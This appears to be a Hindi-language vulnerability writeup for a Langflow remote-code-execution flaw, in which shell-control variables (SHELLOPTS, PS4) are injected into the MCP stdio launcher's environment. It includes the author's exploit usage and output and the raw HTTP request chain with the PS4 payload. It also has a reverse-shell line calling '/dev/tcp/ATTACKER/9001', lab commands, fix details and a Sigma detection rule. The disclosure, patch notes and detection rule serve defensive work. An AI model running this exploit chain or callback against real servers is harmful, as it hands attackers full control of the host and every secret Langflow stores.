
CVE-2026-12940 — Langflow OSS <=1.10.1 में MCP stdio पर्यावरण-चर इंजेक्शन (SHELLOPTS/PS4) के माध्यम से बिना प्रमाणीकरण के RCE। लेखक का PoC + स्रोत विश्लेषण + लैब।
बिना प्रमाणीकरण के रिमोट कोड निष्पादन Langflow OSS 1.10.1 तक। MCP stdio सर्वर कॉन्फ़िगरेशन की सुरक्षा करने वाली environment-variable blocklist (DANGEROUS_ENV_VARS) में SHELLOPTS, BASHOPTS और PS4 शामिल नहीं हैं। चूँकि MCP stdio launcher कॉन्फ़िगर किए गए कमांड को bash -c के माध्यम से चलाता है, एक हमलावर SHELLOPTS=xtrace और PS4 command substitution इंजेक्ट करके Langflow प्रक्रिया उपयोगकर्ता के रूप में मनमाने शेल कमांड निष्पादित कर सकता है — न तो कोई मान्य MCP कमांड चाहिए, न ही डिफ़ॉल्ट इंस्टॉल पर प्रमाणीकरण।
| CVE | CVE-2026-12940 |
| उत्पाद | Langflow OSS |
| प्रभावित | 1.0.0 – 1.10.1 |
| फिक्स्ड | 1.10.2 |
| श्रेणी | OS कमांड इंजेक्शन (CWE-78) environment-variable इंजेक्शन के माध्यम से |
| CVSS 3.1 | 9.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| प्रमाणीकरण | डिफ़ॉल्ट इंस्टॉल पर बिना प्रमाणीकरण (AUTO_LOGIN 1.10.1 में डिफ़ॉल्ट रूप से चालू) |
| स्थिति | पुष्टिकृत असुरक्षित — langflowai/langflow:1.10.1 पर एंड-टू-एंड सत्यापित |
Langflow उपयोगकर्ता को POST /api/v2/mcp/servers/{name} के माध्यम से बाहरी MCP (Model Context Protocol) stdio सर्वर पंजीकृत करने देता है। अनुरोध बॉडी की MCPServerConfig (src/backend/base/langflow/api/v2/schemas.py) द्वारा जाँच की जाती है, जो command, args और env कुंजियों के बारे में सतर्क है:
command एक allowlist में होना चाहिए (node, python, npx, uvx, docker, sh, bash…)।args में शेल मेटाकैरेक्टर्स (;, |, $, `, (, ), …) और खतरनाक कीवर्ड (-c, eval, pip install, …) के लिए स्कैन किए जाते हैं।DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …) के विरुद्ध जाँची जाती हैं।दो कमियाँ मिलकर RCE बनाती हैं:
env मान कभी सैनिटाइज़ नहीं किए जाते। केवल कुंजियाँ blocklist के विरुद्ध जाँची जाती हैं; मान यथावत पास कर दिए जाते हैं। इसलिए PS4 का मान $(id) बच जाता है, भले ही वही वर्ण args के अंदर अस्वीकार कर दिए जाएँ।
Blocklist अधूरी है। 1.10.1 में DANGEROUS_ENV_VARS में shellopts, bashopts या ps4 शामिल नहीं हैं।
लॉन्चर (src/lfx/src/lfx/base/mcp/util.py) फिर Unix पर निम्न चलाता है:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
SHELLOPTS=xtrace के साथ bash स्टार्टअप पर set -x सक्षम करता है और, पहली traced लाइन निष्पादित करने से पहले, PS4 प्रॉम्प्ट का विस्तार करता है। इसलिए PS4 के अंदर command substitution तुरंत चलता है — यह command/args से स्वतंत्र है, जिनका वैध होना भी आवश्यक नहीं है।
Blocklist को src/lfx/src/lfx/base/mcp/util.py में DANGEROUS_MCP_ENV_VARS के रूप में केंद्रीकृत किया गया है और इसमें shellopts, bashopts, ps4 (साथ ही env, defense-in-depth) जोड़े गए हैं। schemas.py अब is_dangerous_mcp_env_var() को कॉल करता है। नीचे दिया गया पंजीकरण 1.10.2 पर HTTP 422 के साथ अस्वीकार कर दिया जाता है।
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
कच्ची HTTP श्रृंखला:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 रिवर्स शेल / OAST कॉलबैक के लिए एक रॉ प्रिमिटिव देता है:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
फिक्स्ड-संस्करण सीमा (अस्वीकृत):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
पूर्ण कैप्चर किए गए ट्रांसक्रिप्ट के लिए EVIDENCE.txt देखें और स्रोत-स्तरीय वॉकथ्रू के लिए ANALYSIS.md देखें।
पुष्टिकृत असुरक्षित langflowai/langflow:1.10.1 पर, दो स्वतंत्र तकनीकों से सत्यापित:
रिज़ॉल्व्ड आउटपुट के साथ फ़ाइल लेखन — अनुरोध से पहले अस्तित्वहीन एक फ़ाइल में uid=1000(user) gid=0(root) groups=0(root) होता है, जो लक्ष्य के /etc/passwd के विरुद्ध रिज़ॉल्व किए गए id(1) का वास्तविक आउटपुट है। यह इनपुट स्ट्रिंग $(id …) की प्रतिध्वनि नहीं है।
आउट-ऑफ-बैंड TCP कॉलबैक — लक्ष्य अपने वास्तविक होस्टनाम और कर्नेल के साथ एक हमलावर लिसनर पर वापस कॉल करता है (CALLBACK user@vbox 6.18.12+kali-amd64)।
पैच किया गया (PATCHED) langflowai/langflow:1.10.2 पर — वही पंजीकरण HTTP 422 लौटाता है।
बिना प्रमाणीकरण वाले दावे पर ध्यान दें। 1.10.1 इमेज में
AUTO_LOGINडिफ़ॉल्ट रूप से सक्षम होता है, इसलिए/api/v1/auto_loginबिना किसी क्रेडेंशियल के किसी भी कॉलर को सुपरयूज़र टोकन लौटाता है — यही पूरी श्रृंखला को डिफ़ॉल्ट डिप्लॉयमेंट पर बिना प्रमाणीकरण के बनाता है। जहाँ प्रमाणीकरण अनिवार्य है, वहाँ वही RCE किसी भी प्रमाणित उपयोगकर्ता के लिए उपलब्ध है जिसके पास मान्य टोकन/API key है (इसे--tokenके माध्यम से पास करें)। 1.10.2 इमेज अतिरिक्त रूप से शुरू करने के लिए क्रेडेंशियल माँगती है, जो एक असंबंधित सख्ती है।
Langflow सेवा खाते के रूप में मनमाना कमांड निष्पादन। Langflow डेटाबेस में मौजूद हर secret, क्रेडेंशियल और फ्लो का पूर्ण पठन, आंतरिक सेवाओं और क्लाउड मेटाडेटा तक पहुँच, और आस-पास के नेटवर्क में पिवट।
AUTO_LOGIN सक्षम होने पर Langflow को अविश्वसनीय नेटवर्क पर उजागर न करें; स्पष्ट सुपरयूज़र क्रेडेंशियल सेट करें और ऑटो-लॉगिन अक्षम करें।ऐसे MCP सर्वर पंजीकरण खोजें जिनके env में शेल-नियंत्रण चर हों, और Langflow प्रक्रिया के bash चाइल्ड प्रोसेस देखें:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (प्रोसेस निर्माण):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).